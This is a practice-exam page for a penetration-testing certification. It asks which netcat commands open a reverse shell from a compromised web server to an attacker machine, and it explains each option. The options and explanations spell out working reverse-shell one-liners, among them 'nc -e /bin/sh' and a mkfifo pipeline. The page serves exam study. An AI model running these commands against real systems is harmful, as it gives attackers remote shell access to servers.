nerdexam
CompTIA

PT0-001 · Question #28

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins…

The correct answer is C. rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/ tmp/f D. nc -e /bin/sh 192.168.1.5 44444. The tester must send a reverse shell from the compromised server back to the attacking machine at 192.168.1.5 on port 44444 using netcat.

Attacks and exploits

Question

During a web application assessment, a penetration tester discovers that arbitrary commands can be executed on the server. Wanting to take this attack one step further, the penetration tester begins to explore ways to gain a reverse shell back to the attacking machine at 192.168.1.5. Which of the following are possible ways to do so? (Select TWO).

Options

  • Anc 192.168.1.5 44444
  • Bnc -nlvp 44444 -e /bin/sh
  • Crm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/ tmp/f
  • Dnc -e /bin/sh 192.168.1.5 44444
  • Erm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/ tmp/f
  • Frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/ tmp/f

How the community answered

(50 responses)
  • A
    6% (3)
  • B
    12% (6)
  • C
    78% (39)
  • E
    2% (1)
  • F
    2% (1)

Why each option

The tester must send a reverse shell from the compromised server back to the attacking machine at 192.168.1.5 on port 44444 using netcat.

Anc 192.168.1.5 44444

This command only initiates an outbound netcat connection to the attacker machine without binding any shell to it, so no command execution capability is provided to the attacker.

Bnc -nlvp 44444 -e /bin/sh

This command uses -nlvp to set up a listening netcat server on the local machine, which is the attacker-side listener syntax and not a reverse shell initiated from the victim.

Crm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 44444>/ tmp/fCorrect

The mkfifo command creates a named FIFO pipe enabling bidirectional I/O, and the pipeline correctly routes /bin/sh through netcat to the attacker's IP 192.168.1.5 on port 44444, producing a working interactive reverse shell without requiring the -e flag.

Dnc -e /bin/sh 192.168.1.5 44444Correct

The command 'nc -e /bin/sh 192.168.1.5 44444' uses netcat's program execution flag to attach /bin/sh's stdin/stdout to a connection directed at the correct attacker IP and port, directly establishing a reverse shell.

Erm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.5 444444>/ tmp/f

Port 444444 exceeds the maximum valid TCP/UDP port number of 65535, making this command syntactically invalid and non-functional.

Frm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.5.1 44444>/ tmp/f

The destination IP address is 192.168.5.1 rather than the attacker's address 192.168.1.5, so the shell would connect to the wrong host.

Concept tested: Netcat reverse shell techniques and valid syntax

Topics

#reverse shell#netcat#command injection#web application exploitation

Community Discussion

No community discussion yet for this question.

Full PT0-001 Practice